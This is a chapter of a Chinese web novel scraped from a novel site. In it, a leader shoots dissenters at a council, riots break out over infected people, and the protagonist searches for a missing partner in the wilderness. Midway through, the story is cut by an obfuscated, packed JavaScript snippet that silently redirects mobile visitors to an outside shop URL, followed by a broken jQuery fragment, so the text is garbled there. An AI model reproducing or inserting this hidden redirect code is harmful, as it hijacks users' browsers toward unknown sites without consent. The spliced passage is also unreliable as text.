文趣网 > 其他小说 > 与敌共生 > 69. 有所不为有所必为 2
    洛正阳语气平稳地道:“即使用最先进的监狱囚禁夏迩,她和傀儡们的生命联系也永远不会断开。你让我如何相信,这群性命掌握在异种手中的人,会忠心于堡垒?”

    一首领道:“你说的有道理。但首领们鞠躬尽瘁,统领着各方的部署和战备之需,咱们可以坚持到培养出下一批德才兼备的继承人们后,再做打算……啊!”

    一声枪响打断他的话,脚边烟尘未散,洛正阳已站起身,“您再说一个字,我可能会手抖。”

    众人紧张起来,有人道:“洛正阳!你就是在权力位置做得太久了!”

    枪口调转方向,指向说话的人,洛正阳问:“我做得不好吗?”

    又一声枪响,那首领捂着被洞穿的手掌蜷缩在地上哀嚎。忙有人上前扶起,替他道:“你……你这么多年兢兢业业…堡垒秩序井井有条……自然是好的。有话好说,不要冲动!”

    周围附和:“是……是啊……他也是一时心急,没恶意。”

    洛正阳睥睨而视,把枪拍在桌面上,缓缓坐下,旋开保温杯,不急不慢地饮了一口。

    “我只不过伤了人,你们就要说违心的话。那些傀儡想要活命,全靠夏迩的血吊着,怎么保证不起二心。”

    萧航还未从震惊中回过神来,有人狠狠推他一把,推倒在走道上,桌椅被撞的歪斜,发出巨响。

    众人将目光落在他身上。

    带着审度、期望、打量、怀疑和警告。

    洛正阳挑眉:“萧航,你有什么疑问吗?”

    萧航半俯在地上,一只手死死扒着桌子,十分用力,手背青筋高高耸起,跟指尖的白色形成鲜明对比。

    一旁的首领替他回:“萧航伤还没好,但他向我们承诺,会控制住夏迩。”

    洛正阳与萧航对视十余秒,忽而低头笑了,“我连亲生儿子都不信,你竟然寄希望于没有血缘的牵绊。”

    “萧航,不要太天真了。”

    总领们据理力争,以人数问题驳回五曜的投票,面红耳赤的同洛正阳针锋相对。会议不欢而散,首领们不让萧航走,拉着他商讨对策。萧航一语不发,总领们恨铁不成钢,告诉他晚上家里见。

    萧航最后一个走出白令庭,远远瞧见洛正阳站在门口,满头白发,身姿挺拔如松,脊梁又直又硬。看到萧航,迈开步子迎过来。

    他直截了当地问:“你跟他在一起了?”

    萧航怔愣片刻,手忙脚乱地展开手中的纸张想要回答,洛正阳又道:“看来还没有。”

    他换了个姿势,负手而立,“或许你认为我冷血、不近人情,但身为五曜,肩膀上扛着的是数亿人的性命。夏迩的存在将是个定时炸弹,我不会允许堡垒埋着这样的风险。”

    “至于你们两个,那是私事,我不会管。萧航,作为Yager时,你能毫不留情击杀上万个异种,那是因为你和他们当时处于对立面。你在蛮巫呆了十多年,跟异种有了感情,甚至有了亲情,事态失控后,还有把握亲手杀他们吗?”

    说完,意味深长的一眼,不等萧航写字回答,转身离开。

    萧航一手拿纸一手执笔,木然驻足原地。

    妈的,为什么伤在脸上,好憋屈,好想咬人。

    前脚刚踏出总署大门,后脚视线就被遮挡住,一件巡卫队服披在萧航头上,他听到祁知白大喊:“艹.你们爹的,滚远点!真敢扔嘿,保镖!把那个扔得最起劲的给老子控制住,不是喜欢鸡蛋吗,让他把地上的舔干净!”

    鸡蛋、石头、菜叶、垃圾、还有不知哪里来的一本数学书,劈头盖脸地从四面八方砸到身上。

    萧航一边被推着走,一边看着地上掠过的种种物事发笑。

    怎么一点变化都没有,还是这些东西啊。

    等坐进商务车,车身被砸得噼啪作响。

    祁知白忿忿地道:“老子最喜欢的衣服!艹!”他脱下上衣,开窗户扔出去,竖了个中指:“两万多一件,送给你们这群王八羔子!”

    萧航把巡卫队服扔在一旁,看到祁知白满身惨状,没心没肺地指着他精致头发上的半根菠菜,想笑,又怕疼,憋得眼角都挂了泪。

    “哥,”祁知白伸手把菠菜捞下来,羞赧地道:“倒也不用如此明目张胆的嘲笑我。”回身拍了下司机肩膀,“回山上的那间别墅。”

    萧航忙拉他,刷刷写字——回洛明烛家。

    祁知白不解:“哥,烛子说要出去一段时间。你没必要回去面对那群老不死的。”

    萧航抿抿唇,低头写字——逃避解决不了任何问题。

    回到洛明烛家,各首领已经准时来报道了,看到萧航一身狼狈,体贴地让他先梳洗。萧航回到房间,终于翻出洛明烛藏起来的手机。

    刚一开机,疯狂的震动和铃声此起彼伏,萧航无视屏幕上方不断刷新的谩骂,敲出脑海中的数字打过去。

    无人接听。

    萧航不信一个大活人能无缘无故消失。

    他心里急得很,潘多拉的感染时间不稳定,也没人能给出个准确的发作时间。

    狠狠洗了把脸,强迫自己冷静下来后,他给春打去电话,准备动用自己在蛮巫的所有人脉去留意洛明烛的动向。

    洛明烛失踪的第二天,首领们决定推举萧航替代他担任前线指挥官,总署随即收到数十封联名信表达抗议。与此同时,波什再次行动,通过社交媒体发布声明,措辞简短,语意明确:共和学院无差别接收感染者,给予生存机会,欢迎弃暗投明。

    虽然迅速被总署屏蔽,但那份声明已被截图转发、扩散,引发轩然大波。总署在学院外布置拦截线,一排排白色装甲车横在通道上,试图阻止向那扇门涌去的人潮。于是人们绞尽脑汁,使出浑身解数,不惜趁夜涉水翻越围墙,无一例外被防护线劈作多段。

    总署的大门三天两头被泼洒秽物和油漆,左侧被喷上“去死”,右侧写着“入坟”。即使连夜找人清理干净,天亮时,新的字迹仍会出现在另一面墙上。首领们的出行成了难题,常有人群从两侧突然涌出,赃物接连砸在车身上。

    滴了鲜血的牛奶杯总会不经意出现在萧航身边,有时在会议室门口,有时在某棵树下。

    看着猩红沉降在乳白色的液体中,萧航发呆,不知道堡垒内还有多少波什的人,竟能无声无息地观察他的行动轨迹。

    夏迩没有忘记夏菀宁即将苏醒的时间,可是他们两个都记错了,夏菀宁一直没有苏醒,于是他也没有去碰那些杯子。但下一次,那杯子还是会雷打不动的出现在视线中。

    这一日,牛奶刚好放在天台的扶手上。萧航走过去,自上而下俯视。

    民众自发组织,拦截线被团团围住,推搡、呼喊,层层叠叠地往前压,堆成一道不断增厚的人墙,士兵们背靠装甲车和临时搭建的栅栏死守防线。

    看着看着,不知怎的,右侧忽然豁出个缺口,一名身着军装的人在前开路,动作敏捷,显然并非临时起意。水压找到出口,迅速扩大,数百人随他奔跑。另一队士兵从侧翼包抄上来,封住去路,但仍有落网之鱼逃出,被波什的军队接应,自以为逃出生天。

    耳边突兀响起聒噪的蜜蜂扇动翅膀的嗡鸣,萧航看了好一会,才反应过来那是他的铃声。

    因为每日都有无数的电话和短信打来,为不错过信息,他给每一个重要的人都设置了专属铃声。

    拿出随身屏,是铃兰的电话。

    声音压抑着不可言说的隐忍:“为什么更换实验人员?研究进展远没有往常顺利,现在的十个人比不过莫安远一人。萧航,跟他们说话真累。每个人都有主见,他们并不信任我。”

    萧航短信回复——抱歉。莫安远不在了。

    电话那端沉默一会,铃兰:“我尽力而为。但你应该知道,毒素并不是我的强项。”

    萧航回——谢谢。

    铃兰问:“你还好吧?”

    没有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829172|211294||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    收到回复,她叹了口气,挂断通话。

    萧航转而再次拨打那个号码。

    无人接听。

    “今天又有人冲破防线了?”鸥沐音从右后方走上来,话是对萧航说的,眼神却盯着那杯牛奶,“还真是雷打不动。”

    萧航的视线落在她卸去纱布的断臂上,断口处的皮肤已经愈合,新生的皮肉比周围的肤色浅一些。

    鸥沐音注意到他的目光,也没有刻意遮掩,大大方方的用那截断臂指着前方,“你觉得他们会迎来新生吗?”

    萧航没有回答,他在纸上写下另一个问题——那日的投票,干妈会怎么选?

    鸥沐音耐人寻味地挑了挑眉,用好的那只手臂把萧航揽进怀中,“我觉得他们很可怜,一辈子都要靠着异种的施舍苟活,为求生存,大概也不敢顽抗,甚至可能作出迫不得已的举动。所以,我也会选择诛杀夏迩。”

    “连波什都会背叛,让我将民众的性命交给异种,简直对不起辉煌的前半生。”

    萧航手里的纸张已被攒出褶皱,鸥沐音假装没看见,自顾自地道:“你要问我菀宁怎么办,就要对她不管不顾了吗?那你可能还不了解你妈。”

    她拿走萧航的纸笔,落笔极快。

    萧航接过来,褶皱并不影响笔迹遒劲,行云流水。

    ——最甜美的睡眠也抵不上醒来的时刻。*

    鸥沐音缓缓地道:“无法控制自己什么时候清醒,无法选择什么时候进入睡眠,对她来说,实在是件可悲至极的痛苦。”

    那张纸在萧航手中的手中被揉成团,捂在胸口,他缓慢地跪倒下去。

    洛明烛失踪的第五日。前往总署地区的列车、飞机爆满,人流自四面八方涌来,称总署是无情的刽子手,□□烧,挥霍愤怒,总署另派部队镇压。

    梅慈首领苏醒在即,西南部以拒绝提供军队和动能要挟五曜松口。

    洛正阳不为所动,纪秋玉整日带领作战部队在前线待命,鸥沐音闭门不出却仍能调动总署大部分武装力量。

    双方陷入白热化阶段,互相咬死底线,谁也不松口。

    洛明烛失踪的第八日,萧航不顾私人医生阻拦,强行卸除固定器,给祁知白吓得就差抱着他哭了,要是洛明烛有命能回来,那不得来个混合双打?

    萧航柔声细语地安慰他一番,当天晚上就玩了手大变活人,跟洛明烛一样消失了。他哆哆嗦嗦地给洛明烛打电话,无人接听。

    祁知白彻底两眼一翻,不省人事,私人医生掐着人中数秒。

    风萧萧,雨歇微凉,萧航从矿场爬出来,简直跨入了另一个世界。

    双子星门早被封闭,不能开车,好在他也不是娇生惯养的命,哪有人比他在蛮巫走的路还多呢。

    奔跑在极光绚烂的蛮巫,急一阵缓一阵,实在跑不动就随手劈下截树枝当拐棍,按照记忆中的路线往溶洞方向寻去。

    直到东方将白之际,萧航口唇干裂,撑着疲乏的身子找到条小溪。初到蛮巫还会担心会不会有辐射,后来见喝不死也吃不死,就百无禁忌了。

    他把袖子挽上去,露出小臂上蜿蜒狰狞的青紫色纹路,用双手接起一捧水,湿凉的划过喉咙,落在胃里冻的他一激灵。

    跟吞了口冰块没什么区别,但是解渴,舒服。

    俯身又去接,水面忽见波澜,一道粗硕黑影蹿出,猝不及防地缠住萧航的脖颈,一下子勒紧,不给他喘息的空间。

    萧航忙用手去扒,触感湿滑,比水还凉上几分。他心有所感,顾不得被勒得将要断气,挣扎着张开一只眼睛。

    玄色蟒头悬在空中,用鸡蛋大小的绿色蛇目与他对视,初绽的晨曦在两颗毒牙上泛着森森冷光。

    蛇尾愈勒愈紧,身体的每一寸空气都被挤压,萧航的面色逐渐趋近于猪肝,他本能地用手指去扣,指甲缝中挤满了蛇血。

    一条长长的信子伸出来,希珩说话了:“混.蛋,你好像个丧家之犬。”